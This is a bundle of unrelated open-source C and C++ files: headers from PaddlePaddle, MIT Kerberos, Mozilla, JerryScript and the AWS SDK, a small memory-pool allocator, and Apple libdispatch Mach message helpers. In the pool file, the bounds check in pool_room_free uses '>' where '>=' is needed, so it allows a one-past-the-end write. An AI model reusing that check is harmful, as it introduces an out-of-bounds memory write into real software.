/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include <type_traits> #include "paddle/fluid/operators/jit/kernel_base.h" namespace paddle { namespace operators { namespace jit { namespace more { namespace intrinsic { void CRFDecoding(const int seq_len, const float* x, const float* w, float* alpha, int* track, int tag_num); class CRFDecodingKernel : public KernelMore<CRFDecodingTuple<float>> { public: CRFDecodingKernel() { this->func = CRFDecoding; } bool CanBeUsed( const typename CRFDecodingTuple<float>::attr_type&) const override; const char* ImplType() const override { return "Intrinsic"; } }; } // namespace intrinsic } // namespace more } // namespace jit } // namespace operators } // namespace paddle
/* ccapi/common/cci_os_debugging.h */ /* * Copyright 2006 Massachusetts Institute of Technology. * All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ #ifndef CCI_OS_DEBUGGING_H #define CCI_OS_DEBUGGING_H #include "cci_types.h" #include <stdarg.h> void cci_os_debug_vprintf (const char *in_format, va_list in_args); #endif /* CCI_OS_DEBUGGING_H */
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "nsIMIMEHeaderParam.h" #ifndef __nsmimeheaderparamimpl_h___ #define __nsmimeheaderparamimpl_h___ class nsMIMEHeaderParamImpl : public nsIMIMEHeaderParam { public: NS_DECL_ISUPPORTS NS_DECL_NSIMIMEHEADERPARAM nsMIMEHeaderParamImpl() {} virtual ~nsMIMEHeaderParamImpl() {} private: // Toggles support for RFC 2231 decoding, or RFC 5987 (5987 profiles 2231 // for use in HTTP, and, for instance, drops support for continuations) enum ParamDecoding { RFC_2231_DECODING = 1, RFC_5987_DECODING }; nsresult DoGetParameter(const nsACString& aHeaderVal, const char *aParamName, ParamDecoding aDecoding, const nsACString& aFallbackCharset, bool aTryLocaleCharset, char **aLang, nsAString& aResult); nsresult DoParameterInternal(const char *aHeaderValue, const char *aParamName, ParamDecoding aDecoding, char **aCharset, char **aLang, char **aResult); }; #endif
#include <stdio.h> #include "common.h" #include "pool.h" #define CAPACITY_LIMIT (4 * 1024 * 1024) int pool_init(pool_t* p) { size_t i; for (i = 0; i < ROOM_COUNT; ++i) { p->room[i].ptr = NULL; p->room[i].length = p->room[i].capacity = 0; p->room[i].used = 0; } p->total = p->max_capacity = 0; return 1; } void pool_free(pool_t* p) { size_t i; for (i = 0; i < ROOM_COUNT; ++i) { if (p->room[i].ptr) { free(p->room[i].ptr); p->room[i].ptr = NULL; p->room[i].length = p->room[i].capacity = 0; p->room[i].used = 0; } } p->total = p->max_capacity = 0; } void pool_gc(pool_t* p) { size_t i; for (i = 0; i < ROOM_COUNT; ++i) { if (p->room[i].ptr && !p->room[i].used) { free(p->room[i].ptr); p->room[i].ptr = NULL; p->room[i].length = p->room[i].capacity = 0; } } } static void* _pool_room_alloc(pool_t* p, size_t idx, size_t len) { size_t capacity; if (p->room[idx].capacity >= len) return p->room[idx].ptr; capacity = MAX(p->room[idx].capacity << 1, len); if (capacity > CAPACITY_LIMIT) capacity = len; p->room[idx].ptr = realloc(p->room[idx].ptr, capacity); if (p->room[idx].ptr == NULL) { capacity = MIN(capacity, len); pool_gc(p); p->room[idx].ptr = malloc(capacity); if (p->room[idx].ptr == NULL) { p->room[idx].length = p->room[idx].capacity = 0; p->room[idx].used = 0; return NULL; } } p->room[idx].length = len; p->room[idx].capacity = capacity; p->room[idx].used = 1; return p->room[idx].ptr; } void* pool_room_alloc(pool_t* p, size_t idx, size_t len) { if (idx >= ROOM_COUNT) return NULL; if (p->room[idx].used) { fprintf(stderr, "using used room: %lu\n", idx); return NULL; } return _pool_room_alloc(p, idx, len); } inline void* pool_room_realloc(pool_t* p, size_t idx, size_t len) { if (idx >= ROOM_COUNT) return NULL; return _pool_room_alloc(p, idx, len); } inline void pool_room_free(pool_t* p, size_t idx) { if (idx > ROOM_COUNT) return; p->room[idx].used = 0; }
/* Copyright (c) 2016 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef _JERRYSCRIPT_MBED_DRIVERS_ASSERT_H #define _JERRYSCRIPT_MBED_DRIVERS_ASSERT_H #include "jerryscript-mbed-library-registry/wrap_tools.h" #include "jerryscript-mbed-util/logging.h" DECLARE_GLOBAL_FUNCTION(assert); #endif // _JERRYSCRIPT_MBED_DRIVERS_ASSERT_H
/* * Copyright (c) 2008-2009 Apple Inc. All rights reserved. * * @APPLE_APACHE_LICENSE_HEADER_START@ * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * @APPLE_APACHE_LICENSE_HEADER_END@ */ #include "internal.h" void * dispatch_mach_msg_get_context(mach_msg_header_t *msg) { mach_msg_context_trailer_t *tp; void *context = NULL; tp = (mach_msg_context_trailer_t *)((uint8_t *)msg + round_msg(msg->msgh_size)); if (tp->msgh_trailer_size >= (mach_msg_size_t)sizeof(mach_msg_context_trailer_t)) { context = (void *)(uintptr_t)tp->msgh_context; } return context; } /* * Raw Mach message support */ boolean_t _dispatch_machport_callback(mach_msg_header_t *msg, mach_msg_header_t *reply, void (*callback)(mach_msg_header_t *)) { mig_reply_setup(msg, reply); ((mig_reply_error_t*)reply)->RetCode = MIG_NO_REPLY; callback(msg); return TRUE; } /* * CFMachPort compatibility */ boolean_t _dispatch_CFMachPortCallBack(mach_msg_header_t *msg, mach_msg_header_t *reply, void (*callback)(struct __CFMachPort *, void *msg, signed long size, void *)) { mig_reply_setup(msg, reply); ((mig_reply_error_t*)reply)->RetCode = MIG_NO_REPLY; callback(NULL, msg, msg->msgh_size, dispatch_mach_msg_get_context(msg)); return TRUE; }
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/opsworks/OpsWorks_EXPORTS.h> #include <aws/opsworks/OpsWorksRequest.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <utility> namespace Aws { namespace OpsWorks { namespace Model { /** */ class AWS_OPSWORKS_API DeleteLayerRequest : public OpsWorksRequest { public: DeleteLayerRequest(); Aws::String SerializePayload() const override; Aws::Http::HeaderValueCollection GetRequestSpecificHeaders() const override; /** * <p>The layer ID.</p> */ inline const Aws::String& GetLayerId() const{ return m_layerId; } /** * <p>The layer ID.</p> */ inline void SetLayerId(const Aws::String& value) { m_layerIdHasBeenSet = true; m_layerId = value; } /** * <p>The layer ID.</p> */ inline void SetLayerId(Aws::String&& value) { m_layerIdHasBeenSet = true; m_layerId = std::move(value); } /** * <p>The layer ID.</p> */ inline void SetLayerId(const char* value) { m_layerIdHasBeenSet = true; m_layerId.assign(value); } /** * <p>The layer ID.</p> */ inline DeleteLayerRequest& WithLayerId(const Aws::String& value) { SetLayerId(value); return *this;} /** * <p>The layer ID.</p> */ inline DeleteLayerRequest& WithLayerId(Aws::String&& value) { SetLayerId(std::move(value)); return *this;} /** * <p>The layer ID.</p> */ inline DeleteLayerRequest& WithLayerId(const char* value) { SetLayerId(value); return *this;} private: Aws::String m_layerId; bool m_layerIdHasBeenSet; }; } // namespace Model } // namespace OpsWorks } // namespace Aws